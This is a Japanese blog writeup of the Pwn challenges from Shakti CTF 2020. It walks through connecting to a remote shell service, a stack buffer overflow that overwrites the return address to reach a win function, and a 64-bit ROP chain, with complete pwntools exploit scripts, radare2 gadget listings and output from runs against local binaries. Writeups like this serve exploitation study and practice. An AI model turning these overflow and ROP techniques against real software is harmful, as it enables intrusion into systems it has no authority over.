好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

Shakti CTF 2020 writeup [Pwn]

2020年12月3の21:30 - 12月4日21:30 で行われていた、Shakti CTF 2020の [Pwn] 分野のwriteupです。

※ まとめはこちら tech.kusuwada.com

Connect [Very Easy]

Your adventure begins here to help the renowned Computer Scientist Kathleen Booth to get across the challenges and win the race. Cross the gates and enter into the arena!

Connect via nc 34.72.218.129 1111

Author : b3y0nd3r

challという実行ファイルが配布されたけど、無視してとにかくつないで見る。

$ nc 34.72.218.129 1111
You have successfully connected to our service!
To get your flag, please enter the appropriate bash commands.

これはコマンドがそのまま効くやつっぽい。

ls
chall
flag.txt
run.sh
cat flag.txt
shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}

ファイルを一覧して、怪しいファイルを表示するだけ。

Returning [Very Easy]

Kathleen is faced with a very naive looking code which keeps all you secrets and never lets anyone know. Try figuring out lies here!

Connect via nc 34.72.218.129 2222

Author : rudy

実行ファイルchallが配布されます。

very easyなので何も見ずにつなぎに生きます。

$ nc 34.72.218.129 2222

Welcome! A lonely mute program is all I am...

Would you like to talk to me? (y/n)
y
Say something...
test

これで3回ほど話しかけると、

xx Any bidding words?

と今まで入力した文字列とともに聞かれて、次に答えたら終了。

ここで競技時間は終了。
なんかこの時VMが立ち上がらなくなっちゃってたんだよね。もったいない。

radare2で関数一覧を見てみると

[0x004007b0]> afl
...
0x00400921    3 102          sym.win
0x00400987    5 274          main
...

おや、win関数がいる。

|           0x0040092e      bf2a0b4000     mov edi, str.flag.txt       ; 0x400b2a ; "flag.txt"

こんな命令もあるから、flag.txtを出力してくれるみたい。
buffure overflowさせて、mainのreturnをwinのアドレスで上書きできれば良さそう。

Team-shaktiによるwriteupを見てみると、コードを見ながら解説している。他のpwn問コード添付なし問題も、最初にdisassmeblyしたコードを出すと理解が早そう。今度からやってみよう。

ghidraに食わせたdecompileコード (main)

void main(void) {
  int iVar1;
  char local_18 [16];
  
  initialize();
  puts("\nWelcome! A lonely mute program is all I am...");
  puts("\nWould you like to talk to me? (y/n)");
  __isoc99_scanf(&DAT_00400b95,0x6010c1);
  while ((ch._1_1_ == 'y' && (count < 2))) {
    puts("Say something...");
    getchar();
    read(0,buffer1,0x14);
    iVar1 = snprintf(local_18,1,"%s",buffer1);
    pos = pos + iVar1;
    puts("\nWould you like to continue talking to me? (y/n)");
    __isoc99_scanf(&DAT_00400b95,0x6010c1);
    count = count + 1;
  }
  printf("%d Any bidding words?\n",(ulong)pos);
  getchar();
  read(0,local_18,(long)(int)pos);
  return;
}

ghidraのメモリマップより、buffer1のサイズは20。

read(0,buffer1,0x14)

20文字読んで

iVar1 = snprintf(local_18,1,"%s",buffer1);

local_18に格納。これを2回繰り返したあとはループを抜けて

read(0,local_18,(long)(int)pos)

local_18pos文字読んで格納してreturn。

snprintfの戻り値は書き込んだ文字数なので、ループの中で書き込んだ文字数の合計が最後のposになる。

ここで、バイナリの実行結果(最後のpos表示)と上の挙動に食い違いあるように思ったので、動作検証とコードを読み直してみた。

検証内容:

1st input length 2nd input length 1st + 2nd last pos note
3 3 6 8 OK
15 15 30 32 OK
1 2 3 5 OK
2 5 7 9 OK
10 3 13 22 NG
5 2 7 12 NG

※input lengthには改行を含んでいないので、1st,2ndの改行分を含めて 1st + 2nd + 2がlast posの期待値。

1stの長さほうが2ndの長さより大きい場合、2ndのときも1stのときの長さが維持されているっぽい。これは入力を受けるbuffer1をクリアしていないからかな。ということで、そこは気をつけたほうが良さそう。
最後の2つのNGは

  • 10+10=20, 20+2=22 OK
  • 5+5=10, 10+2=12 OK

となる。
これでposに何の値が入るのかの動作検証ができた。

[0x004007b0]> s main
[0x00400987]> pdf
/ (fcn) main 274
|   main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10

この rbp-0x10 の領域に入力値が格納される。
ので、mainへのreturnのところまで埋め尽くそうと思うと、bufferは 0x10 + 8 = 24d
最後の "Any bidding words?" の段階で、posの値が24 + 8 = 32以上になっている必要があるので、それまでにposが32以上になるように調節してあげると良さそう。

これらをコードにすると

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

#host = '34.72.218.129'
#port = 2222
win_addr = 0x00400921
buffer = 0x10 + 8

e = ELF('./chall_ret')

def normal(r, pos):
    r.recvuntil(b"me? (y/n)\n")
    r.sendline(b'y')
    r.recvuntil(b"Say something...\n")
    r.sendline(b't'*(pos-1))
    return

def send_attack(r, payload):
    r.recvuntil(b"me? (y/n)\n")
    r.sendline(b'y')
    r.recvuntil(b"Any bidding words?\n")
    r.sendline(payload)
    res = r.recvall()
    print(res)

#r = remote(host, port)
r = process('./chall_ret')
normal(r, 16)
normal(r, 16)
payload = b'a'*buffer + p64(win_addr)
print('payload_len: ' + str(len(payload)))
send_attack(r,payload)

実行結果

$ python solve.py 
(omit)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 3295
payload_len: 32
[+] Receiving all data: Done (26B)
[*] Process './chall' stopped with exit code 0 (pid 3295)
b'flag{it_is_a_local_flag}\n\n'

localに用意しておいたflag.txtが表示されました👍

Adventure Chain [Easy]

Kathleen is on her next adventure, which marked her name in history of Computer Science forever. Looks like the pieces of her ARC code seem to be brewing something notorious. Follow the chains which might lead you to a hideous place where you can claim your mastery and discover the unintended invention.

Connect via nc 34.72.218.129 4444

Author : b3y0nd3r

またchall実行ファイルが配布される。
今度は問題文からして rop chain とかを組む必要がありそう。

この問題も、kali起動しない問題により手つかずでした。もったいない。
localで動かしてみます。

$ ./chall 
Choose an action
1. set name
2. give access
>> 1
Enter your name:
kusuwada

名前を入れたらそのまま終了。

$ ./chall 
Choose an action
1. set name
2. give access
>> 2
Access granted (just kidding)

ひどい。

ghidraに突っ込んでdeassembleしてもらいます。

undefined8 main(void) {
  int local_2c;
  undefined local_28 [32];
  
  initialize();
  puts("Choose an action");
  puts("1. set name");
  puts("2. give access");
  printf(">> ");
  __isoc99_scanf(&DAT_00400b44,&local_2c);
  if (local_2c == 1) {
    puts("Enter your name:");
    read(0,local_28,200);
  }
  else {
    if (local_2c == 2) {
      puts("Access granted (just kidding)");
    }
    else {
      printf("Invalid choice");
    }
  }
  return 0;
}

undefined8 flag(int param_1,int param_2) {
  undefined local_3f8 [1000];
  FILE *local_10;
  
  if ((((password == 0x1337) && (admin_val == -0x35014542)) && (param_1 == -0x21523f22)) &&
     (param_2 == -0x2152ef34)) {
    puts("Mischief managed...");
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      printf("Error! opening file");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    __isoc99_fscanf(local_10,"%[^\n]",local_3f8);
    printf("Here is your flag:\n%s\n",local_3f8);
    fclose(local_10);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Oops");
  return 0;
}

主要そうなのはmain関数とflag関数。
just kiddingは本当に何もしてくれないみたい。

    puts("Enter your name:");
    read(0,local_28,200);

ここでbuffer overflowさせて、先程の問題同様、flag関数を呼び出す。
ただし、flag関数で色々チェック項目があるので、その前にこの条件を満たす必要がある。

passwordとadmin_valに適切な値をセットし、あとはflag関数のparam1,param2に適切に値を積んで呼べばOK。

undefined8 assert(void) {
  password = 0x1337;
  return 0;
}

undefined8 setValue(int param_1) {
  if ((password == 0x1337) && (param_1 == -0x21524111)) {
    admin_val = 0xcafebabe;
  }
  else {
    puts("Oops no :(");
  }
  return 0;
}

assert関数からpasswordが、setVaule関数からadmin_valが設定できそう。この2つの関数ををflagより先に順番に呼ぶ。
ちなみに、ghidraのdecompile結果でマイナスの値になってしまっている値は、それぞれ下記と同等。

flag関数のparam1 -> 0xdeadc0de
flag関数のparam2 -> 0xdead10cc
setValueのparam1 -> 0xdeadbeef

64bitのrop問題は、ついこの前waniCTF2020 [Pwn] rop func callでやりました。この辺をなぞりつつやってみます。

まずは、rop gadgetを探します。radare2で対象バイナリを解析し、

$ r2 chall 
[0x004006f0]> aaaa
...(omit)...
[0x004006f0]> /R pop
...(omit)...
  0x00400a91                 5e  pop rsi
  0x00400a92               415f  pop r15
  0x00400a94                 c3  ret

  0x00400a93                 5f  pop rdi
  0x00400a94                 c3  ret

この2つが使えそう。

buffer overflowに使う変数をradare2で確認します。

[0x004006f0]> s main
[0x00400970]> pdf
/ (fcn) main 185
|   main (int argc, char **argv, char **envp);
|           ; var int local_24h @ rbp-0x24
|           ; var int local_20h @ rbp-0x20

名前を格納するほうが local_20h @ rbp-0x20。なので、mainのreturnアドレスは0x20 + 8

あとは順番に引数をregisterに登録しながら関数を呼び出すのみ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

pop_rdi_addr = 0x00400a93
pop_rsi_r15_addr = 0x00400a91 
assert_addr = 0x004007d7
setvalue_addr = 0x004007ec
flag_addr = 0x0040082c

password = 0x1337
admin = 0xcafebabe
setValue_param1 = 0xdeadbeef
flag_param1 = 0xdeadc0de
flag_param2 = 0xdead10cc

buffer = 0x20 + 8

e = ELF('./chall')

payload = b'a'*buffer
payload += p64(assert_addr)

payload += p64(pop_rdi_addr)
payload += p64(setValue_param1)
payload += p64(setvalue_addr)

payload += p64(pop_rdi_addr)
payload += p64(flag_param1)
payload += p64(pop_rsi_r15_addr)
payload += p64(flag_param2)
payload += b'a'*8
payload += p64(flag_addr)

r = process('./chall')
print(r.recvuntil(b">> "))
r.sendline(b'1')
print(r.recvuntil(b"Enter your name:\n"))
r.sendline(payload)
res = r.recvall()
print(res)

実行結果

$ python solve.py 
...(omit)...
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 4117
b'Choose an action\n1. set name\n2. give access\n>> '
b'Enter your name:\n'
[+] Receiving all data: Done (64B)
[*] Process './chall' stopped with exit code 0 (pid 4117)
b'Mischief managed...\nHere is your flag:\nflag{it_is_a_local_flag}\n'

localに置いておいたflag.txtが表示されました🙌

感想

なんと1問、めっちゃ簡単なのしか解いてなかった…。どうしても時間がないと後回しと思って水に終わってしまうことが多いpwn問。復習して書き足すぞ!

-> 2021/2/6 復習して書き足した!
残念ながら、Pwnジャンルはあと2問 Compute ShellReactor_GOT というのがあったみたいなんだけど、問題の回収をすっかり忘れていて、復習叶わず、でした。Team-Shaktiのwriteupを見る限り、shellcodeとGOTのチャレンジだったみたい。
バイナリ回収しとけばよかったなぁ🥺